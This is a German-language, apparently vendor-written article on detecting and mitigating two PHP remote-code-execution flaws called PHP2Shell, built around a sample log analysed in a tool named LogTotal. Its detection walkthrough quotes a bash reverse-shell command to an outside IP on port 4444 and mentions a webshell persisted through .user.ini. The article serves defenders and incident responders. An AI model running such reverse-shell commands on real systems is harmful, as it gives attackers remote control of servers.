PHP2Shell-Erkennung und Exploit-Analyse

Die Erkennung von PHP2Shell ist wichtig, da das Zeitfenster zwischen einem Patch und der realen Ausnutzung nur ein einziger Tag sein kann. PHP2Shell ist der Name für zwei nicht authentifizierte Schwachstellen zur entfernten Codeausführung im PHP-Kern, CVE-2026-109618 und CVE-2026-109619, beide mit CVSS v4.0 9.2 bewertet. Es ist keine Authentifizierung erforderlich, daher ist jede freiliegende PHP-Anwendung auf einer ungepatchten Version ein Ziel. Im folgenden Beispiel zeigt sich die Ausnutzung als Absturz eines PHP-Arbeiters, gefolgt von Befehlen, die als Webserver-Benutzer ausgeführt werden.

Dieser Artikel behandelt die Erkennung von PHP2Shell mithilfe eines Log-Beispiels, das in LogTotal, einem Log-Analyse-Tool, das Ereignisse mit bekannten Bedrohungen abgleicht, analysiert wurde. Unten erklären wir den Kontext der Schwachstelle, woher die Logs stammen, was LogTotal gefunden hat und wie man reagieren sollte.

PHP2Shell-Analyse

Beide PHP2Shell-Schwachstellen erhalten unter CVSS v4.0 eine Bewertung von 9.2, und beide sind ohne Authentifizierung bei jeder PHP-Installation erreichbar, die Webanfragen bedient. Um das Log-Beispiel korrekt zu verstehen, hilft es zu wissen, wie jeder Fehler funktioniert, wie schnell die Offenlegung verlief und welche Installationen exponiert sind.

Kostenlos loslegen

Details zu den PHP2Shell-Schwachstellen

Die beiden CVEs sind separate Speicherverwaltungssicherheitsfehler darin, wie PHP eine Anfrage verarbeitet. Jeder von ihnen ermöglicht es einem Angreifer, Code als Webserver-Benutzer auszuführen.

• CVE-2026-109618, Speicherüberlauf-Korruption. Wenn PHP im Verlauf der Einrichtung einer Anfrage der Speicher ausgeht, werden interne Daten halb aufgebaut belassen, und der Bereinigungs-Code vertraut dann darauf.
• CVE-2026-109619, veralteter globaler Zustand. Internes Zustandsgedächtnis überdauert den Speicher der Anfrage, auf den es zeigt, sodass die nächste Anfrage, die derselbe Arbeiter aufgreift, auf zurückgebliebene Daten zugreifen kann.

Deshalb zeigt sich die Ausnutzung als PHP-„Erlaubte Speichergröße … erschöpft“-Fehler und Abstürze von PHP-Arbeitern. Öffentliche PHP2Shell-Scanner suchen nach denselben Signalen.

Zeitplan für Bekanntgabe und Ausnutzung

Forscher bei Calif fanden die Schwachstellen und meldeten sie an PHP. Der Leck ist der Grund, warum LogTotals Kette „Leaked Critical PHP Vulnerabilities“ betitelt ist. Öffentliche PoC-Codes und Exploit-Frameworks erschienen innerhalb weniger Tage auf GitHub, und ein Forschungstoolkit berichtete über bestätigte Befehlsausführung als www-data auf Builds von PHP 7.4 bis 8.4 unterhalb der gepatchten Versionen.

Welche Systeme von PHP2Shell betroffen sind

PHP listet alle Versionen vor 8.5.12, 8.4.27, 8.3.36 und 8.2.35 als anfällig auf, und auch ältere Zweige sind betroffen.

Jede PHP-Installation, die Webanfragen bedient, ist im Geltungsbereich, egal ob sie unter PHP-FPM, Apache mod_php, php-cgi, LiteSpeed oder FrankenPHP läuft. PHP bewertet das Risiko am höchsten für Apache mod_php, wo ein Angriff erfolgreich sein kann, bevor irgendein Anwendungs-Code ausgeführt wird.

Log-Quelle und -Sammlung

Die Datei kombiniert zwei Quellen in ein Schema:

• 2 Klartext-Zeilen aus der PHP-Laufzeit und dem PHP-FPM-Fehlerprotokoll
• 4 Ereignisse (Datei und Prozess), normalisiert auf ECS

Die Mischung ist typisch für das, was in der Praxis ein SIEM erreicht: Anwendungsfehlerprotokolle neben EDR-Telemetrie.

PHP2Shell erkennen

LogTotal verarbeitete 6 Zeilen in 4,2 Sekunden, stimmte 9 Regeln gegen 4 Zeilen ab und bildete eine Kette auf web-prod-01: PHP2Shell, Leaked Critical PHP Vulnerabilities (CVE-2026-109618 & CVE-2026-109619), Kritisch, 100 % Übereinstimmung, 3 Regeln ausgelöst.

Wie die PHP2Shell-Kette sich entfaltet

Die Kette folgt der Ausnutzung in drei Schritten, alle innerhalb von drei Sekunden.

1. Absturz. Die Regel „Möglicher CVE-2026-109618 / CVE-2026-109619-Ausnutzungsversuch – PHP-Speichererschöpfung / PHP-Arbeiterabsturz“ stimmte mit einem PHP-fatale-„Erlaubte Speichergröße … erschöpft“-Fehler und dem Sterben des PHP-FPM-Kindprozesses 1201 auf SIGSEGV überein. Dies sind dieselben Absturzsignale, nach denen öffentliche PHP2Shell-Scanner suchen.
2. Shell vom Web-Arbeiter. „Möglicher PHP-Arbeiter-Spawning ungewöhnlicher Prozess“ und „Verdächtige Shell über Webserver [Linux]“ erwischten php-fpm, ausgeführt als www-data, sh -c bash /dev/shm/.s startend. Das Skript wurde im ram-unterstützten /dev/shm bereitgestellt.
3. Reverse Shell. „Mögliche Datenexfiltration / Reverse Shell über Bash“ stimmte mit bash -i >& /dev/tcp/198.51.100.23/4444 0>&1 überein. Außerhalb der Kette trafen vier weitere Regeln denselben Befehl, angeführt vom Linux Reverse Shell Indicator (Kritisch).

LogTotal-Ergebnisse bei PHP2Shell-Triage verwenden

Die Kette zeigt die Reihenfolge der Ereignisse und den Schweregrad in einem Bildschirm. Die Rohereignisse geben die IOCs zum Blockieren und die Persistenz zur Entfernung. Verwenden Sie beides: Bestätigen Sie die drei Schritte der Kette, dann überprüfen Sie die Datei-Ereignisse und Befehlszeilen auf IOCs und Persistenz.

PHP2Shell-Minderung

Die endgültige Lösung für PHP2Shell ist ein gepatchtes PHP-Release, und PHP weist darauf hin, dass keine Konfigurationsänderung diese Schwachstellen vollständig mindert. Auf einem Server, der bereits ausgenutzt wurde, reicht Patchen allein nicht aus: Die Webshell und .user.ini bestehen über ein PHP-Upgrade hinaus.

Patchen Sie jede PHP-Installation

1. Inventarieren Sie jeden Server und jede Anwendung, die PHP ausführt, beginnend mit internet-fähigen Systemen und denen, die PHP als Apache-Modul ausführen.
2. Aktualisieren Sie jede Installation auf 8.5.12, 8.4.27, 8.3.36 oder 8.2.35, entsprechend ihrem Zweig. Linux-Distributionen erhielten die Patches vor der Veröffentlichung, also prüfen Sie auf aktualisierte Distribution-Pakete.
3. Starten Sie jeden PHP-Arbeiter neu, damit der Fix wirksam wird.
4. Für PHP 7.4, 8.0 und 8.1 verwenden Sie ein Distributions- oder LTS-Anbieterpaket oder PHPs minimale Quell-Rückportierungen, oder führen Sie ein Upgrade durch. PHP 7.3 und älter haben keinen Fix.
5. Beschränken Sie den Internetzugang zu jedem PHP-System, das Sie nicht sofort aktualisieren können.

Community-Tracker berichten auch über CVE-2026-115560, einen separaten, konfigurationsabhängigen Session-Upload-Progress-Vektor, der von einem PHP-Informationshinweis am 23. Oktober 2026 abgedeckt ist. Er ist nicht Teil von PHP2Shell und wurde für eine spätere Version belassen; die Zwischenempfehlung ist session.upload_progress.enabled = 0.

Empfohlene Reaktion von LogTotal

1. Isolieren Sie web-prod-01.
2. Bewahren Sie seine Web-, System- und Netzwerkprotokolle auf.
3. Untersuchen Sie das Ziel der Reverse-Shell.
4. Überprüfen Sie die PHP-Version und den Patch.
5. Warnen Sie bei zukünftigen PHP-Arbeiterabstürzen und Shell-Spawns.

Zusätzliche Schritte aus den Rohdaten

1. Blockieren Sie Egress auf 198.51.100.23:4444.
2. Bewahren Sie Beweise vor der Bereinigung auf: Kopieren Sie uploads/.cache.php, .user.ini und /dev/shm/.s. Dateien in /dev/shm gehen beim Neustart verloren.
3. Entfernen Sie die Persistenz. Löschen Sie die auto_prepend_file-Direktive oder besser, bauen Sie den Host auf einer gepatchten PHP-Version neu auf.
4. Drehen Sie jedes Geheimnis, das www-data lesen kann,wie Datenbank-Credentials und API-Schlüssel in Anwendungs-Konfiguration.
5. Durchsuchen Sie die Web-Flotte nach:
   • .user.ini-Dateien, die auto_prepend_file enthalten
   • versteckte PHP-Dateien in Upload-Ordnern
   • Shells, die von php-fpm, php-cgi, apache2 oder httpd gespawnt wurden

Fortlaufende PHP2Shell-Überwachung

Halten Sie PHP- und PHP-FPM-Fehlerprotokolle zusammen mit EDR-Telemetriedaten in Ihr SIEM fließen. In diesem Beispiel waren die Absturzlinien das erste Signal und die EDR-Datei-Ereignisse hielten die Persistenz. Jede Quelle allein hätte nur die halbe Geschichte erzählt.